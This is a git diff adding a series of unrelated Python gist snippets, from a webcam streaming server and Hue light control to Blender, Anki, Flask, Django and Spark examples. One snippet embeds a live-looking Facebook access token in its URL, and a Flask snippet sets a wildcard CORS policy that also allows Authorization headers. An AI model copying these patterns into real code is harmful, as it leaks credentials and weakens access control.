+					jpg = Image.fromarray(imgRGB)
+					tmpFile = StringIO.StringIO()
+					jpg.save(tmpFile,'JPEG')
+					self.wfile.write("--jpgboundary")
+					self.send_header('Content-type','image/jpeg')
+					self.send_header('Content-length',str(tmpFile.len))
+					self.end_headers()
+					jpg.save(self.wfile,'JPEG')
+					time.sleep(0.05)
+				except KeyboardInterrupt:
+					break
+			return
+		if self.path.endswith('.html'):
+			self.send_response(200)
+			self.send_header('Content-type','text/html')
+			self.end_headers()
+			self.wfile.write('<html><head></head><body>')
+			self.wfile.write('<img src="http://127.0.0.1:8080/cam.mjpg"/>')
+			self.wfile.write('</body></html>')
+			return
+
+
+class ThreadedHTTPServer(ThreadingMixIn, HTTPServer):
+	"""Handle requests in a separate thread."""
+
+def main():
+	global capture
+	capture = cv2.VideoCapture(0)
+	capture.set(cv2.cv.CV_CAP_PROP_FRAME_WIDTH, 320); 
+	capture.set(cv2.cv.CV_CAP_PROP_FRAME_HEIGHT, 240);
+	capture.set(cv2.cv.CV_CAP_PROP_SATURATION,0.2);
+	global img
+	try:
+		server = ThreadedHTTPServer(('localhost', 8080), CamHandler)
+		print "server started"
+		server.serve_forever()
+	except KeyboardInterrupt:
+		capture.release()
+		server.socket.close()
+
+if __name__ == '__main__':
+	main()
+
diff --git a/hard-gists/4630017/._snippet.py b/hard-gists/4630017/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4630017/._snippet.py differ
diff --git a/hard-gists/4630017/snippet.py b/hard-gists/4630017/snippet.py
new file mode 100644
index 00000000..9cc64a40
--- /dev/null
+++ b/hard-gists/4630017/snippet.py
@@ -0,0 +1,43 @@
+#!/usr/bin/env python
+# -*- coding: utf-8 -*-
+
+'''
+This script toggles lights on and off using the phue library and a physical switch
+It is started on boot in /etc/rc.local with this line:
+python /home/pi/light_button_control/light_button_control.py &
+'''
+
+from time import sleep
+import RPi.GPIO as GPIO
+import time
+from phue import Bridge
+
+GPIO.setmode(GPIO.BCM)
+GPIO.setup(7, GPIO.IN)
+
+b = Bridge()
+
+def toggle_lights():
+    lights = b.get_light_objects()
+    on = False
+    for light in lights:
+        if light.on:
+            on = True
+            break
+    if on:
+        b.set_group(0,'on',False)
+    else:
+        b.set_light(['Entrée','Frigo','Chambre'],'on',True)
+
+prev_input = 0
+while True:
+  #take a reading
+  input = GPIO.input(7)
+  #if the last reading was low and this one high, print
+  if ((not prev_input) and input):
+    print("Button pressed")
+    toggle_lights()
+  #update previous input
+  prev_input = input
+  #slight pause to debounce
+  time.sleep(0.05)
diff --git a/hard-gists/4632416/._snippet.py b/hard-gists/4632416/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4632416/._snippet.py differ
diff --git a/hard-gists/4632416/snippet.py b/hard-gists/4632416/snippet.py
new file mode 100644
index 00000000..eb84ee4a
--- /dev/null
+++ b/hard-gists/4632416/snippet.py
@@ -0,0 +1,53 @@
+"""
+combine.py
+
+alternate between two audiofiles, beat by beat
+
+By Paul Lamere, 2013-01-25
+"""
+import echonest.audio as audio
+
+usage = """
+Usage: 
+    python combine.py <input_filename> <input_filename2) <output_filename>
+
+Example:
+    python combine.py jc-bgb.mp3 glee-bgb.mp3 combined.mp3
+"""
+
+offset = 1
+def main(input_filename1, input_filename2, output_filename):
+    audiofile1 = audio.LocalAudioFile(input_filename1)
+    audiofile2 = audio.LocalAudioFile(input_filename2)
+
+    beats1 = audiofile1.analysis.beats
+    beats2  = audiofile2.analysis.beats
+
+    l = min([len(beats1), len(beats2)])
+
+    collect = audio.AudioQuantumList()
+    out = None
+    for i in xrange(l):
+        if i % 2 == 1:
+            beat = beats1[i - offset]
+            next = audio.getpieces(audiofile1, [beat])
+        else:
+            beat = beats2[i]
+            next = audio.getpieces(audiofile2, [beat])
+        if out == None:
+            out = next
+        else:
+            out.append(next)
+
+    out.encode(output_filename)
+
+if __name__ == '__main__':
+    import sys
+    try:
+        input_filename1 = sys.argv[1]
+        input_filename2 = sys.argv[2]
+        output_filename = sys.argv[3]
+    except:
+        print usage
+        sys.exit(-1)
+    main(input_filename1, input_filename2, output_filename)
\ No newline at end of file
diff --git a/hard-gists/4636851/._snippet.py b/hard-gists/4636851/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4636851/._snippet.py differ
diff --git a/hard-gists/4636851/snippet.py b/hard-gists/4636851/snippet.py
new file mode 100644
index 00000000..dd92ff39
--- /dev/null
+++ b/hard-gists/4636851/snippet.py
@@ -0,0 +1,240 @@
+import bpy
+from bpy_extras import keyconfig_utils
+import sys
+
+# Dump Blender keyconfig as HTML.
+# How to use
+# 1. Open this file in Blender's Text Editor.
+# 2. Do "Run Script".
+# 3. New Text "keyconfigs.html" will be added.
+#    save it somewhere and open in web browser (recommends Safari, Chrome or Firefox).
+# 
+# JSON format
+# [keyconfig0, keyconfig1, ...]
+# keyconfig := {name:"name", keymap:[keymap0, keymap1, ...]}
+# keymap := {name:"name", item:[item0, item1, ...]}
+# item := {name:"name", modifier_keys:["like 'Ctrl' or empty", ...], key:"key", propvalue:"value"}
+
+html1 = """<html><head>
+<script>
+"""
+
+html2 = """
+function init() {
+  var tabul = document.getElementById('tabs');
+	var tablecon = document.getElementById('tables');
+	
+	var contents = [];
+	var createTabAction = function (tabindex) {
+		return function () {
+			for(var i = 0; i < contents.length; i++) {
+				var tmp = contents[i];
+				if(i == tabindex) {
+					tmp.tab.className = 'selected';
+					tmp.table.style.display = 'block';
+				} else {
+					tmp.tab.className = '';
+					tmp.table.style.display = 'none';
+				}
+			}
+		};
+	};
+	
+	for(var i = 0; i < bl_keyconfs.length; i++) {
+		var kc = bl_keyconfs[i];
+		// create tab
+		var tabelm = document.createElement('li');
+		tabelm.className = 'tab';
+		tabelm.innerHTML = kc.name;
+		tabul.appendChild(tabelm);
+		tabelm.addEventListener('click', createTabAction(i));
+		
+		// create table
+		var tablegroup = document.createElement('div');
+		tablecon.appendChild(tablegroup);
+		
+		for(var ikm = 0; ikm < kc.keymaps.length; ikm++) {
+			var km = kc.keymaps[ikm];
+			var keytatble = document.createElement('table');
+			tablegroup.appendChild(keytatble);
+			
+			var caption = document.createElement('caption');
+			caption.innerHTML = km.name;
+			keytatble.appendChild(caption);
+			
+			for(var iki = 0; iki < km.items.length; iki++) {
+				var ki = km.items[iki];
+				var tr = document.createElement('tr');
+				keytatble.appendChild(tr);
+				// action description
+				var td;
+				td = document.createElement('td');
+				td.style.width = '35%';
+				td.innerHTML = (ki.name.length > 0)? ki.name : '-';
+				tr.appendChild(td);
+				// key
+				td = document.createElement('td');
+				td.style.width = '35%';
+				var modkey = "";
+				for(var imod = 0; imod < ki.modifier_keys.length; imod++) {
+					modkey += ki.modifier_keys[imod] + ' + ';
+				}
+				td.innerHTML = modkey + ki.key;
+				tr.appendChild(td);
+				// misc
+				td = document.createElement('td');
+				td.innerHTML = (ki.propvalue.length > 0)? ki.propvalue : '-';
+				tr.appendChild(td);
+			}
+		}
+		contents.push({'tab':tabelm, 'table':tablegroup})
+	}
+	(createTabAction(0))();
+}
+window.addEventListener('load', init);
+</script>
+<style>
+
+table {
+	margin-top: 2ex;
+	width: 100%;
+	border-collapse: collapse;
+}
+td {
+	margin: 0;
+	padding: 4px 8px 4px 8px;
+	border: 1px solid #000;
+}
+caption {
+	text-align: left;
+	font-size: 120%;
+	font-weight: bold;
+}
+
+.tablewrapper {
+	padding: 4px;
+	border: 1px solid #000;
+	border-top-width: 0;
+	position: relatie;
+	display: block;
+}
+
+.tablegroup {
+	padding: 0;
+	margin: 0;
+}
+
+.tabul {
+	list-style: none;
+	margin: 0;
+	padding: 0;
+	position:relative;
+}
+.tabul:after {
+	position: absolute;
+	content: "";
+	width: 100%;
+	bottom: 0;
+	left: 0;
+	border-bottom: 1px solid #000;
+	z-index: 1;
+}
+.tabul li {
+	background: #ccc;
+	color: #000;
+	position: relative;
+	margin: 0 1px 0 0;
+	padding: 4px 10px;
+	border: 1px solid #000;
+	display: inline-block;
+	z-index: 0;
+}
+.tabul li.selected {
+	background: #fff;
+	color: #000;
+	border-bottom-color: #fff;
+	z-index: 2;
+}
+</style>
+</head>
+<body>
+<h1>Blender Key Configs</h1>
+<div id="conf">
+<ul class="tabul" id="tabs"></ul>
+<div class="tablewrapper" id="tables"></div>
+</div>
+</body>
+</html>
+"""
+
+def create_keymapitem_json(ki):
+    modkeys = []
+    if ki.any:
+        modkeys.append('Any')
+    else:
+        if ki.ctrl:
+            modkeys.append('Ctrl')
+        if ki.alt:
+            modkeys.append('Alt')
+        if ki.shift:
+            modkeys.append('Shift')
+        if ki.oskey:
+            #modkeys.append('OSkey')
+            modkeys.append('Cmd')
+        if ki.key_modifier != 'NONE':
+            modkeys.append(ki.key_modifier)
+    json = '{{"name":"{}",'.format(ki.name)
+    if len(modkeys) > 0:
+        json += '"modifier_keys":["{}"]'.format('","'.join(modkeys))
+    else:
+        json += '"modifier_keys":[]'
+    json += ',"key":"{}"'.format(ki.type)
+    if ki.propvalue != 'NONE':
+        json += ',"propvalue":"{}"'.format(ki.propvalue)
+    else:
+        json += ',"propvalue":""'
+    json += '}'
+    return json
+
+def create_keymap_json(kc):
+    json = '{{"name":"{}","items":['.format(kc.name)
+    for i, ki in enumerate(kc.keymap_items):
+        if i > 0: json += ','
+        json += create_keymapitem_json(ki)
+        json += '\n'
+    json += ']}'
+    return json
+
+def create_keyconfig_json(kc):
+    json = '{{"name":"{}","keymaps":['.format(kc.name)
+    for i, km in enumerate(kc.keymaps):
+        if i > 0: json += ','
+        json += create_keymap_json(km)
+        json += '\n'
+    json += ']}'
+    return json
+
+wm = bpy.context.window_manager
+#kc = wm.keyconfigs.default
+#kc = wm.keyconfigs.addon
+#kc = wm.keyconfigs.user
+#kc = wm.keyconfigs.active
+#keyconfig_utils.keyconfig_export(wm, kc, "./keys.txt")
+
+keyconfs = []
+for kc in wm.keyconfigs:
+    keyconfs.append(create_keyconfig_json(kc))
+kcjson = 'var bl_keyconfs=[' + ','.join(keyconfs) + '];'
+#print(kcjson)
+#f = open('./keys.js', 'w')
+#f.write(kcjson)
+#f.close()
+#print("write to file. done");
+
+exist_texts = set(i.name for i in bpy.data.texts)
+bpy.ops.text.new()
+cur_texts = set(i.name for i in bpy.data.texts)
+added_texts = cur_texts - exist_texts
+newtext = bpy.data.texts[added_texts.pop()]
+newtext.name = 'keyconfigs.html'
+newtext.from_string(html1 + kcjson + html2)
diff --git a/hard-gists/4640256/._snippet.py b/hard-gists/4640256/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4640256/._snippet.py differ
diff --git a/hard-gists/4640256/snippet.py b/hard-gists/4640256/snippet.py
new file mode 100644
index 00000000..cabd2650
--- /dev/null
+++ b/hard-gists/4640256/snippet.py
@@ -0,0 +1,50 @@
+#
+# script to register Python 2.0 or later for use with win32all
+# and other extensions that require Python registry settings
+# written by Joakim Loew for Secret Labs AB / PythonWare
+#
+# source:
+# http://www.pythonware.com/products/works/articles/regpy20.htm
+#
+# modified by Valentine Gogichashvili as described in http://www.mail-archive.com/distutils-sig@python.org/msg10512.html
+ 
+import sys
+ 
+from _winreg import *
+ 
+# tweak as necessary
+version = sys.version[:3]
+installpath = sys.prefix
+ 
+regpath = "SOFTWARE\\Python\\Pythoncore\\%s\\" % (version)
+installkey = "InstallPath"
+pythonkey = "PythonPath"
+pythonpath = "%s;%s\\Lib\\;%s\\DLLs\\" % (
+    installpath, installpath, installpath
+)
+ 
+def RegisterPy():
+    try:
+        reg = OpenKey(HKEY_CURRENT_USER, regpath)
+    except EnvironmentError as e:
+        try:
+            reg = CreateKey(HKEY_CURRENT_USER, regpath)
+            SetValue(reg, installkey, REG_SZ, installpath)
+            SetValue(reg, pythonkey, REG_SZ, pythonpath)
+            CloseKey(reg)
+        except:
+            print "*** Unable to register!"
+            return
+        print "--- Python", version, "is now registered!"
+        return
+    if (QueryValue(reg, installkey) == installpath and
+        QueryValue(reg, pythonkey) == pythonpath):
+        CloseKey(reg)
+        print "=== Python", version, "is already registered!"
+        return
+    CloseKey(reg)
+    print "*** Unable to register!"
+    print "*** You probably have another Python installation!"
+ 
+if __name__ == "__main__":
+    RegisterPy()
\ No newline at end of file
diff --git a/hard-gists/4654376/._snippet.py b/hard-gists/4654376/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4654376/._snippet.py differ
diff --git a/hard-gists/4654376/snippet.py b/hard-gists/4654376/snippet.py
new file mode 100644
index 00000000..f1b487fe
--- /dev/null
+++ b/hard-gists/4654376/snippet.py
@@ -0,0 +1,50 @@
+class ClassPathHacker :
+##########################################################
+# from http://forum.java.sun.com/thread.jspa?threadID=300557
+#
+# Author: SG Langer Jan 2007 translated the above Java to this
+#       Jython class
+# Modified by: Linker Lin  linker.lin@me.com
+# Purpose: Allow runtime additions of new Class/jars either from
+#       local files or URL
+######################################################
+    import java.lang.reflect.Method
+    import java.io.File
+    import java.net.URL
+    import java.net.URLClassLoader
+    import jarray
+    import java
+
+    def addFile (self, s):
+        #############################################
+        # Purpose: If adding a file/jar call this first
+        #       with s = path_to_jar
+        #############################################
+
+        # make a URL out of 's'
+        f = self.java.io.File (s)
+        u = f.toURL ()
+        a = self.addURL (u)
+        return a
+
+    def addURL (self, u):
+        ##################################
+        # Purpose: Call this with u= URL for
+        #       the new Class/jar to be loaded
+        #################################
+        sysloader =  self.java.lang.ClassLoader.getSystemClassLoader()
+        sysclass = self.java.net.URLClassLoader
+        method = sysclass.getDeclaredMethod("addURL", [self.java.net.URL]) #parameters.toArray())
+        a = method.setAccessible(1)
+        jar_a = self.jarray.array([u], self.java.lang.Object)
+        b = method.invoke(sysloader, [u])
+        return u
+
+if __name__=="__main__":
+    from java.lang import *
+    jarloader=ClassPathHacker()
+    jarloader.addFile(r'./mysql-connector-java-5.1.21.jar')
+    Class.forName("com.mysql.jdbc.Driver")
+    import sys
+    #sys.path+=[r'./mysql-connector-java-5.1.21.jar'] # unnecessary
+    import com.mysql.jdbc.Driver
diff --git a/hard-gists/4654813/._snippet.py b/hard-gists/4654813/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4654813/._snippet.py differ
diff --git a/hard-gists/4654813/snippet.py b/hard-gists/4654813/snippet.py
new file mode 100644
index 00000000..a5a6f514
--- /dev/null
+++ b/hard-gists/4654813/snippet.py
@@ -0,0 +1,21 @@
+#!/usr/bin/env python
+ 
+# Install (ubuntu/debian):
+# ------------------------
+# apt-get install python-magic
+ 
+import magic
+ 
+ms = magic.open(magic.MAGIC_NONE)
+ms.load()
+type =  ms.file("/path/to/some/file")
+print type
+ 
+f = file("/path/to/some/file", "r")
+buffer = f.read(4096)
+f.close()
+ 
+type = ms.buffer(buffer)
+print type
+ 
+ms.close()
\ No newline at end of file
diff --git a/hard-gists/4656144/._snippet.py b/hard-gists/4656144/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4656144/._snippet.py differ
diff --git a/hard-gists/4656144/snippet.py b/hard-gists/4656144/snippet.py
new file mode 100644
index 00000000..eed1cdb7
--- /dev/null
+++ b/hard-gists/4656144/snippet.py
@@ -0,0 +1,31 @@
+#!/usr/bin/env python
+'''
+@author Luke Campbell
+'''
+
+import gevent_profiler
+import time
+
+class TimeIt(object):
+    def __init__(self, message=''):
+        self.message = message
+    def __enter__(self):
+        self.i = time.time()
+    def __exit__(self, type, value, traceback):
+        print '%s %ss' % (self.message or 'Took', time.time() - self.i)
+
+class ProfileIt(object):
+    def __init__(self, stats='stats.txt', summary='summary.txt'):
+        self.stats   = stats
+        self.summary = summary
+
+    def __enter__(self):
+        gevent_profiler.set_stats_output(self.stats)
+        gevent_profiler.set_summary_output(self.summary)
+        gevent_profiler.set_trace_output(None)
+        gevent_profiler.attach()
+
+    def __exit__(self, type, value, traceback):
+        gevent_profiler.detach()
+
+
diff --git a/hard-gists/465de1f5f66334c91a4c/._snippet.py b/hard-gists/465de1f5f66334c91a4c/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/465de1f5f66334c91a4c/._snippet.py differ
diff --git a/hard-gists/465de1f5f66334c91a4c/snippet.py b/hard-gists/465de1f5f66334c91a4c/snippet.py
new file mode 100644
index 00000000..487de412
--- /dev/null
+++ b/hard-gists/465de1f5f66334c91a4c/snippet.py
@@ -0,0 +1,21 @@
+from flask import Flask
+from flask.ext import restful
+from flask.ext.sqlalchemy import SQLAlchemy
+
+app = Flask(__name__)
+app.config.from_object('config')
+
+#flask-sqlalchemy
+db = SQLAlchemy(app)
+
+#flask-restful
+api = restful.Api(app)
+
+@app.after_request
+def after_request(response):
+  response.headers.add('Access-Control-Allow-Origin', '*')
+  response.headers.add('Access-Control-Allow-Headers', 'Content-Type,Authorization')
+  response.headers.add('Access-Control-Allow-Methods', 'GET,PUT,POST,DELETE')
+  return response
+
+import views
\ No newline at end of file
diff --git a/hard-gists/4667205/._snippet.py b/hard-gists/4667205/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4667205/._snippet.py differ
diff --git a/hard-gists/4667205/snippet.py b/hard-gists/4667205/snippet.py
new file mode 100644
index 00000000..a9c625f8
--- /dev/null
+++ b/hard-gists/4667205/snippet.py
@@ -0,0 +1,10 @@
+import urllib.request
+import json
+from pprint import pprint
+
+url = 'https://graph.facebook.com/fmasanori'
+resp = urllib.request.urlopen(url).read()
+data = json.loads(resp.decode('utf-8'))
+pprint (data)
+
+
diff --git a/hard-gists/4668212/._snippet.py b/hard-gists/4668212/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4668212/._snippet.py differ
diff --git a/hard-gists/4668212/snippet.py b/hard-gists/4668212/snippet.py
new file mode 100644
index 00000000..3617795d
--- /dev/null
+++ b/hard-gists/4668212/snippet.py
@@ -0,0 +1,31 @@
+from flask import Flask, render_template
+from flask.ext.wtf import Form, widgets, SelectMultipleField
+
+SECRET_KEY = 'development'
+
+app = Flask(__name__)
+app.config.from_object(__name__)
+
+class MultiCheckboxField(SelectMultipleField):
+    widget = widgets.ListWidget(prefix_label=False)
+    option_widget = widgets.CheckboxInput()
+
+
+class SimpleForm(Form):
+    string_of_files = ['one\r\ntwo\r\nthree\r\n']
+    list_of_files = string_of_files[0].split()
+    # create a list of value/description tuples
+    files = [(x, x) for x in list_of_files]
+    example = MultiCheckboxField('Label', choices=files)
+
+@app.route('/',methods=['post','get'])
+def hello_world():
+    form = SimpleForm()
+    if form.validate_on_submit():
+        print form.example.data
+    else:
+        print form.errors
+    return render_template('example.html',form=form)
+
+if __name__ == '__main__':
+    app.run(debug=True)
diff --git a/hard-gists/4684561/._snippet.py b/hard-gists/4684561/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4684561/._snippet.py differ
diff --git a/hard-gists/4684561/snippet.py b/hard-gists/4684561/snippet.py
new file mode 100644
index 00000000..eb5143d7
--- /dev/null
+++ b/hard-gists/4684561/snippet.py
@@ -0,0 +1,117 @@
+from functools import wraps
+from django.db import models
+from django.core.exceptions import ValidationError
+
+
+class ConstraintModel(models.Model):
+    class Meta:
+        abstract = True
+
+    def _fill_constraints_register(self):
+        cache = []
+        is_callable = lambda obj, prop: hasattr(getattr(obj, prop), '__call__')
+
+        for prop in dir(self):
+            if prop.startswith('check_') and is_callable(self, prop):
+                _method = getattr(self, prop)
+                if getattr(_method, '_is_constraint', False):
+                    cache.append(prop)
+        self._constraints_register = set(cache)
+
+    def _constraints(self):
+        try:
+            self._constraints_register
+        except AttributeError:
+            self._fill_constraints_register()
+        return self._constraints_register
+
+    constraints = property(_constraints)
+
+    def clean(self):
+        for constraint_method_name in self.constraints:
+            constraint_method = getattr(self, constraint_method_name)
+
+            if self.id:
+                if constraint_method.assert_on_create:
+                    constraint_method()
+            else:
+                if constraint_method.assert_on_update:
+                    constraint_method()
+
+        self._cleaned = True
+
+    def delete(self, using=None):
+        for constraint_method_name in self.constraints:
+            constraint_method = getattr(self, constraint_method_name)
+
+            if constraint_method.assert_on_delete:
+                constraint_method()
+
+        super(ConstraintModel, self).delete(using)
+
+    def save(self, *args, **kwargs):
+        # Do not run clean twice if was already done, but make sure it executes
+        # if it have not been called
+
+        if not hasattr(self, '_cleaned'):
+            self.clean()
+
+        # TODO: Implementar desnormalizacion de relaciones y otros campos
+        # if hasattr(self, '_compute'):
+        #     if hasattr(getattr(self, '_compute'), '__call__'):
+        #         self._compute()
+
+        super(ConstraintModel, self).save(*args, **kwargs)
+
+
+
+def constraint(on_create=True, on_update=True, on_delete=False):
+    def decorator(constraint_func):
+        constraint_func._is_constraint = True
+        constraint_func.assert_on_delete = on_delete
+        constraint_func.assert_on_update = on_update
+        constraint_func.assert_on_create = on_create
+
+        @wraps(constraint_func)
+        def _wrapped_method(self, **kwargs):
+            res = constraint_func(self, **kwargs)
+
+            if isinstance(res, str):
+                raise ValidationError(res)
+
+        return _wrapped_method
+
+    return decorator
+
+
+"""
+Example:
+
+  - Create a model and extend from ConstraintModel
+  - Using the @constraint decorator register what tests to check
+  - Return a string to raise a validation Error
+"""
+
+class Loan(ConstraintModel):
+    user = models.ForeignKey('auth.User')
+    amount = models.IntegerField()
+
+    def check_amount(self):
+        # Do not not lend less than 100
+        if self.amount < 100:
+            # Return an error.
+            return 'Unable to lend less than 100$'
+    check_amount._is_constraint = True
+            
+    @constraint()
+    def check_unpaid_loans(self):
+        # Do not not lend less than 100
+        if self.user.total_unpaid_loans() > 1000:
+            return 'Not allowed, the user has already more than 1000$ in unpaid loans.'
+
+    @constraint()
+    def check_luckyness(self):
+        import random
+        lucky = lambda p, m: True if m() < p else False
+        if not lucky(0.2, random.random):
+            return 'We are sorry, but after a detailed review we are unable to lend money to this user'
diff --git a/hard-gists/4684752/._snippet.py b/hard-gists/4684752/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4684752/._snippet.py differ
diff --git a/hard-gists/4684752/snippet.py b/hard-gists/4684752/snippet.py
new file mode 100644
index 00000000..b07ed000
--- /dev/null
+++ b/hard-gists/4684752/snippet.py
@@ -0,0 +1,20 @@
+#Sorry, in April 30, 2015, with Facebook 2.0 API update only friends that use the app will be show
+import urllib.request
+import json
+
+def save_image(friend):
+  size = '/picture?width=200&height=200'
+  url = 'https://graph.facebook.com/'+ friend['id'] + size
+  image = urllib.request.urlopen(url).read()
+  f = open(friend['name'] + '.jpg', 'wb')
+  f.write(image)
+  f.close()
+  print (friend['name'] + '.jpg impresso')
+#get the token https://developers.facebook.com/tools/explorer
+url = 'https://graph.facebook.com/me/friends?access_token=EAACEdEose0cBAD5XZCz5JXYvqyeJzcSvFZC42toHiWyfjhcZCMZBZCpE3uRJnEBsrhUEMRK1wWs6SsdiDFxsI1mYwyoNuMix2XZCpvsKbZB9TumtZBlcLeIpl4pa931Ce9rTinEAhtyVVZAAZAX4NmfpBUqWtzCRC0fX5GZBn7ZC28mPKAZDZD'
+resp = urllib.request.urlopen(url).read()
+data = json.loads(resp.decode('utf-8'))
+
+for friend in data['data']:
+  save_image(friend)
+
diff --git a/hard-gists/46c9d4ed1ea43c3d916b/._snippet.py b/hard-gists/46c9d4ed1ea43c3d916b/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/46c9d4ed1ea43c3d916b/._snippet.py differ
diff --git a/hard-gists/46c9d4ed1ea43c3d916b/snippet.py b/hard-gists/46c9d4ed1ea43c3d916b/snippet.py
new file mode 100644
index 00000000..08b4897a
--- /dev/null
+++ b/hard-gists/46c9d4ed1ea43c3d916b/snippet.py
@@ -0,0 +1,106 @@
+import os
+import urllib2
+import datetime
+import cStringIO
+import ntpath
+from bs4 import BeautifulSoup as bs
+from anki import Collection as aopen
+from operator import itemgetter
+from PIL import Image
+from random import randint
+
+### Test URLs
+url = 'http://quizlet.com/24760403/anatomy-and-physiology-ii-the-endocrine-system-flash-cards/'
+#url = 'http://quizlet.com/2621787/histology-lab-photo-quiz-flash-cards/'
+
+tags      = ['tag1', 'tag2']
+card_type = 'Basic'
+
+### OS X
+coll_path = "/Users/YOUR_NAME_HERE/Documents/Anki/DrLulz/collection.anki2"
+temp_file = "/tmp/file_%s.jpg"
+ 
+### WIN
+#coll_path  = os.path.abspath("C:\\Users\\YOUR_NAME_HERE\\Documents\\Anki\\User 1\\collection.anki2")
+#temp_file  = "C:/tmp/file_%s_.jpg"
+
+
+
+def make_cards(deck_title, front, back):
+    
+    a_coll = aopen(coll_path)
+
+    deck_name = 'Quizlet' + '::' + deck_title
+    deck_id = a_coll.decks.id(deck_name)
+    a_coll.decks.select(deck_id)
+    
+    model = a_coll.models.byName(card_type)
+    model['did'] = deck_id
+    a_coll.models.save(model)
+    a_coll.models.setCurrent(model)
+    
+    card = a_coll.newNote()
+    
+    
+    if 'http' not in front:
+        card['Front'] = front
+    else:
+        img_path   = get_img(front)
+        a_coll.media.addFile(img_path.decode('utf-8'))
+        card['Front'] = u'<img src="%s">' % ntpath.basename(img_path)
+        os.remove(img_path)
+        
+    card['Back'] = back
+    card.tags = tags
+    
+    a_coll.addNote(card)
+    a_coll.save()
+    a_coll.close()
+    
+
+        
+def get_cards(source):
+    soup  = bs(source)
+    title = soup.find('h1', class_='SetTitle-title').text
+    qas   = soup.select('div.term')
+    
+    for qa in qas:
+        img = qa.find('img')
+        if img is None:
+            # may need to reverse question / answer
+            question = qa.find('span', class_='qDef').get_text()
+            answer   = qa.find('span', class_='qWord').get_text()
+            make_cards(title, question, answer)
+        else:
+            # may need to reverse image / answer
+            question    = qa.find('img')['data-srcset']
+            answer   = qa.find('span', class_='qWord').get_text()
+            make_cards(title, question, answer)
+    
+
+
+def get_img(image_url):
+    ran_int = randint(100, 999)
+    file = cStringIO.StringIO(urllib2.urlopen(image_url).read())
+    filename = temp_file % (datetime.datetime.now().strftime("%s") + str(ran_int))
+    image_info = Image.open(file)
+    image_info.save(filename)
+    file.close()
+    
+    return filename
+    
+
+
+def html_source(url):
+    try:         
+        req = urllib2.Request(url)
+        response = urllib2.urlopen(req)
+        html_source = response.read().decode('utf-8')
+        get_cards(html_source)
+    except Exception, detail: 
+        print "Err ", detail
+        
+
+
+
+html_source(url)
\ No newline at end of file
diff --git a/hard-gists/4700064/._snippet.py b/hard-gists/4700064/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4700064/._snippet.py differ
diff --git a/hard-gists/4700064/snippet.py b/hard-gists/4700064/snippet.py
new file mode 100644
index 00000000..1d31828a
--- /dev/null
+++ b/hard-gists/4700064/snippet.py
@@ -0,0 +1,38 @@
+#!/usr/bin/env python
+from urllib2 import urlopen, urlencode
+from pymongo import connection
+import json
+from optparse import OptionParser
+from time import sleep
+
+verbose = 1
+
+parser = OptionParser()
+parser.add_option("-q", "--query", dest="query", type="string", action="store")
+parser.add_option("-i", "--interval", dest="interval", type="int", action="store", default=10)
+parser.add_option("-u", "--unique", dest="unique", action="store_true", default=False)
+(options, args) = parser.parse_args()
+
+params = {'q': options.query, 'type': 'tweet', 'window': 'a', 'perpage': '100'} # http://code.google.com/p/otterapi/wiki/Resources
+if options.unique: params['nohidden']='0'
+searchurl = "http://otter.topsy.com/search.json?"
+
+c = connection.Connection()
+db = c.topsy
+
+def store(otterdata):
+    if verbose: print otterdata['content'], otterdata['url'], otterdata['trackback_total']
+    db.rawtopsy.save(otterdata)
+
+count = 1
+
+while count <= 10:
+    queryurl = searchurl+urlencode(params)+'&page='+str(count)
+    if verbose: print "* * * fetching ",queryurl
+    data=urlopen(queryurl)
+    resp=json.loads(data.read())
+    if resp:
+        for r in resp['response']['list']:
+            store(r)
+    count += 1
+    sleep(options.interval)
diff --git a/hard-gists/4707012/._snippet.py b/hard-gists/4707012/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/4707012/._snippet.py differ
diff --git a/hard-gists/4707012/snippet.py b/hard-gists/4707012/snippet.py
new file mode 100644
index 00000000..930712da
--- /dev/null
+++ b/hard-gists/4707012/snippet.py
@@ -0,0 +1,57 @@
+import sys
+
+from pyspark.context import SparkContext
+from numpy import array, random as np_random
+from sklearn import linear_model as lm
+from sklearn.base import copy
+
+N = 10000   # Number of data points
+D = 10      # Numer of dimensions
+ITERATIONS = 5
+np_random.seed(seed=42)
+
+def generate_data(N):
+    return [[1 if np_random.rand() < 0.5 else 0, np_random.randn(1, D)] for ii in range(N)]
+
+def train(iterator, sgd):
+    for x in iterator:
+        sgd.partial_fit(x[1], x[0], classes=array([0, 1]))
+    yield sgd
+
+def merge(left, right):
+    new = copy.deepcopy(left)
+    new.coef_ += right.coef_
+    new.intercept_ += right.intercept_
+    return new
+
+def avg_model(sgd, slices):
+    sgd.coef_ /= slices
+    sgd.intercept_ /= slices
+    return sgd
+
+if __name__ == "__main__":
+    if len(sys.argv) < 2:
+        print >> sys.stderr, \
+            "Usage: PythonLR <main> <iterations> [<slices>]"
+        exit(-1)
+    #print sys.argv
+
+    sc = SparkContext(sys.argv[1], "PythonLR")
+    ITERATIONS = int(sys.argv[2]) if len(sys.argv) > 2 else ITERATIONS
+    slices = int(sys.argv[3]) if len(sys.argv) == 4 else 2
+    data = generate_data(N)
+    print len(data)
+
+    # init stochastic gradient descent
+    sgd = lm.SGDClassifier(loss='log')
+    # training
+    for ii in range(ITERATIONS):
+        sgd = sc.parallelize(data, numSlices=slices) \
+                .mapPartitions(lambda x: train(x, sgd)) \
+                .reduce(lambda x, y: merge(x, y))
